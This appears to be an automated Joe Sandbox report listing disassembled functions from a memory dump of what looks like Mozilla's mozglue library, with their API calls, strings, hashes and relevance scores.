Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6277e480df359537f8ba1132b4a8b0928f54426149d66a9a04e8929ae30fccb6
Instruction ID: 649a64e00be3d7591a86a563c87aa9d1ae34bf556c2dc47d01b7481a921224cb
Opcode Fuzzy Hash: 6277e480df359537f8ba1132b4a8b0928f54426149d66a9a04e8929ae30fccb6
Instruction Fuzzy Hash: BC71A1B0909B41DBC712CF18C88056BF3F4FF99315B84965AE85A5B701EB34E886CBC1

Function 6C55DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C55DDCF

Part of subcall function 6C53FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53FA4B

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DE0D
free.MOZGLUE(00000000), ref: 6C55DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C54DEFD,?,6C514A68), ref: 6C55DF32

Part of subcall function 6C55DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55DB86
Part of subcall function 6C55DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C54DEFD,?,6C514A68), ref: 6C55DF65
free.MOZGLUE(?), ref: 6C55DF80

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f88d442b4bf4a6edf7cba2f0b6dfaf96dcccca78a7bde85488c6012836c3a911
Instruction ID: 73753b090730864755b4343b0d8e715fc9808bbac0349aebcea8f988ae9d965f
Opcode Fuzzy Hash: f88d442b4bf4a6edf7cba2f0b6dfaf96dcccca78a7bde85488c6012836c3a911
Instruction Fuzzy Hash: 0651B473702611DBD7119B28DE806AEB3B2BF92348FD6051ED91A53B00D731F969CB92

Function 6C565D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565DC9
std::_Facet_Register.LIBCPMT ref: 6C565DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565E45

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: b81865004e8dd077651b2327c8447fa7a10a3de56160164a09c88475ef8d902a
Instruction ID: dd16938eb9a7a86660695b8f9bf10503960c61b413a198794794a5127a1e4978
Opcode Fuzzy Hash: b81865004e8dd077651b2327c8447fa7a10a3de56160164a09c88475ef8d902a
Instruction Fuzzy Hash: 2141B2707412159FCB00EF65CC88AAE77B9FF89314F854069E50A9BB92EB30ED05CB65

Function 6C53CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5031A7), ref: 6C53CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C53CFA4, 6C53CFB8
<jemalloc>, xrefs: 6C53CF9F, 6C53CFB3

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 33079a9fb0fafed44c4ed59bae16c14e464800a10f39abd28cb15cbe5a29bf64
Instruction ID: 67d0dca9749c76516e787bb9e68d065e6630998eb3bda4830072d1f0814eb2f0
Opcode Fuzzy Hash: 33079a9fb0fafed44c4ed59bae16c14e464800a10f39abd28cb15cbe5a29bf64
Instruction Fuzzy Hash: 2831C5307412355BEF11AEA58C45BAE7BB9AF82718F315215F619AB6C0FB70E400CBA4

Function 6C50ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50F100: LoadLibraryW.KERNEL32(shell32,?,6C57D020), ref: 6C50F122
Part of subcall function 6C50F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C50F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C50ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C50EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C50EDCC
CreateFileW.KERNEL32 ref: 6C50EE08
free.MOZGLUE(00000000), ref: 6C50EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C50EE32

Part of subcall function 6C50EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C50EBB5
Part of subcall function 6C50EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C53D7F3), ref: 6C50EBC3
Part of subcall function 6C50EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C53D7F3), ref: 6C50EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C50EDC1

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 356d06f7a7ee0fd8cebd92382dc572061158f588f2a64f57db22b0e8ee7652f5
Instruction ID: 1260438f8bb7e17a34897b8f58a277856a224bc8af4b9eced12241f5625be5b6
Opcode Fuzzy Hash: 356d06f7a7ee0fd8cebd92382dc572061158f588f2a64f57db22b0e8ee7652f5
Instruction Fuzzy Hash: 3951C371E05218CBDB10DF68CC446EEB7B1EF59318F54892DD895AB740E7B06D88C7A2

Function 6C57A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57A565

Part of subcall function 6C57A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C57A4BE
Part of subcall function 6C57A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C57A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C57A6B6

Strings

0, xrefs: 6C57A5FB
z, xrefs: 6C57A6AE

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 13186ce3cdf2f9cd2b1f9dc57a81c7bf45880c5ba84f8f5638c98decbc2a7093
Instruction ID: 63965aad8bfe5e927c5366cb16cc59a3b21bd67da55f70bda47387ffa13fe86b
Opcode Fuzzy Hash: 13186ce3cdf2f9cd2b1f9dc57a81c7bf45880c5ba84f8f5638c98decbc2a7093
Instruction Fuzzy Hash: 5E413A71909745DFC351DF28C880A8BBBE5BFC9354F409A2EF49987650EB30D989CB92

Function 6C549420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
__Init_thread_footer.LIBCMT ref: 6C54949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C549459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C54946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C54947D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 8126d3093a1ea19dc499f99059a783cff93006bd786b6be64a003fc082f1a7cb
Instruction ID: bd3e651e81580b27a10e6b49af85d8b2b9564ddb16b86b725e44cb24a9f6c881
Opcode Fuzzy Hash: 8126d3093a1ea19dc499f99059a783cff93006bd786b6be64a003fc082f1a7cb
Instruction Fuzzy Hash: 0C01D870A02121C7EB009B6CDD16A4E3379AB4B368F155637D90AC6B51E731E8648A5F

Function 6C550F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C550F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C550F88
GetCurrentThreadId.KERNEL32 ref: 6C550FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C551067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5510A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C55114B

Part of subcall function 6C548AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C561563), ref: 6C548BD5

free.MOZGLUE(?), ref: 6C551174
free.MOZGLUE(?), ref: 6C551186

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 5560eb88d33674b05496371cbef160abe64def2b134eebf94bcbc38d37d4acb1
Instruction ID: cc1f2cc8b4bb36555e0ba0d95b6cfa5df0cebaf517b43c54cebed92e57b0f8b6
Opcode Fuzzy Hash: 5560eb88d33674b05496371cbef160abe64def2b134eebf94bcbc38d37d4acb1
Instruction Fuzzy Hash: EA61AC75A04340DBDB10DF25CC807AAB7F5AFC5308F45991EE8895B611EB71E899CB82

Function 6C50B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6AC

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C50B61E), ref: 6C50B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C50B61E,?,?,?,?,?,00000000), ref: 6C50B79A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: dfb20f1ee3c5e9d34c57e8c69ead0898ffcdd5ae6e3cc747ed05259345a8f1eb
Instruction ID: 555a55ed0534ddb57f3171004a6655e59d40576fa71beca27933ec451a53a376
Opcode Fuzzy Hash: dfb20f1ee3c5e9d34c57e8c69ead0898ffcdd5ae6e3cc747ed05259345a8f1eb
Instruction Fuzzy Hash: 4741B6B2E001159FDB14EF68DC805AEB7B5FF84324F250669E825E7790E731AD0487E1

Function 6C50EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C585104), ref: 6C50EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C50EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C50EFEC
free.MOZGLUE(?), ref: 6C50F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C50F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C50F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F065
moz_xmalloc.MOZGLUE ref: 6C50F072

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2a3094e29ac735879d97aeb03402c162de2fdd84fa150ca3a4ae28c5fa952e6f
Instruction ID: 286cd5fe5caa5f1c0684c7bedc692b288293f6f71ce79e0e713dfc8d676508e0
Opcode Fuzzy Hash: 2a3094e29ac735879d97aeb03402c162de2fdd84fa150ca3a4ae28c5fa952e6f
Instruction Fuzzy Hash: 4741E2B1B002059FDB08CF68DC909BE73A9EF84324B240628E816DB794EB71ED0587E1

Function 6C57B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C57B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C57B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C57B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C57B5F4
__Init_thread_footer.LIBCMT ref: 6C57B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C57B61F
std::_Facet_Register.LIBCPMT ref: 6C57B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57B655

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 8cad035a4787a051e6e0145786af7204163d4c3c6d7c471e9e67a559799a5fd9
Instruction ID: 0b0893b603e3b5d3a6590cd4485b4047fcc0a45b5e160fd540bfbe1850736017
Opcode Fuzzy Hash: 8cad035a4787a051e6e0145786af7204163d4c3c6d7c471e9e67a559799a5fd9
Instruction Fuzzy Hash: F131A471B02125CBCF10EFA9CC549AEB7B5FF8A324B160515DA0697741EB30AC46CB95

Function 6C546590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C53FA80: GetCurrentThreadId.KERNEL32 ref: 6C53FA8D
Part of subcall function 6C53FA80: AcquireSRWLockExclusive.KERNEL32(6C58F448), ref: 6C53FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C546727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5467C8

Part of subcall function 6C554290: memcpy.VCRUNTIME140(?,?,6C562003,6C560AD9,?,6C560AD9,00000000,?,6C560AD9,?,00000004,?,6C561A62,?,6C562003,?), ref: 6C5542C4

Strings

data, xrefs: 6C546593
vXl, xrefs: 6C54696C

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vXl
API String ID: 511789754-1692619548
Opcode ID: fc0f51c4d45dbf613268231508a3a5cd6cc4f1083ef96da92d592df74a55ea3f
Instruction ID: 91c06adddcdb965b63547b8632c3ba12dc410a98ddcc9203b49d13eefd2db60f
Opcode Fuzzy Hash: fc0f51c4d45dbf613268231508a3a5cd6cc4f1083ef96da92d592df74a55ea3f
Instruction Fuzzy Hash: 31D1AC75A09340CFD724DF25CC51B9EB7E5AFC5308F50892EE48997B91EB30A849CB92

Function 6C53D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C50EB57,?,?,?,?,?,?,?,?,?), ref: 6C53D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C50EB57,?), ref: 6C53D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C50EB57,?), ref: 6C53D673
free.MOZGLUE(?), ref: 6C53D888

Strings

|Enabled, xrefs: 6C53D81E
WPl, xrefs: 6C53D5D9, 6C53D63F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WPl$|Enabled
API String ID: 4142949111-1694255673
Opcode ID: 12e97fb4565ad64b17d1d22f1a078ea23a4f4e4e015502dbf8fada9c58dd34a5
Instruction ID: 297a1a4cbcb740e26a4f4664c0cdafd2ab2f427ac9fdf2f2cdbf86774f3e4f94
Opcode Fuzzy Hash: 12e97fb4565ad64b17d1d22f1a078ea23a4f4e4e015502dbf8fada9c58dd34a5
Instruction Fuzzy Hash: D4A114B0A05324CFDB11CF69CC807AEBBF1AF4A318F14955CD899AB741E731A945CBA1

Function 6C519830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C567ABE), ref: 6C51985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C567ABE), ref: 6C5198A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C519909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C519918
free.MOZGLUE(?), ref: 6C519975

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: afccb19a27aa46d4a1955e428d3ddc642e359aa19eacddd92f0d893acc30bd0f
Instruction ID: 38901a889eebfd885664416350199e6ec6a8558951bdc653931c74d2bf2f5b37
Opcode Fuzzy Hash: afccb19a27aa46d4a1955e428d3ddc642e359aa19eacddd92f0d893acc30bd0f
Instruction Fuzzy Hash: DF718B746087058FD725CF28C884956B7F1FF8A324B644AADD85A8BFA0D731F845CB51

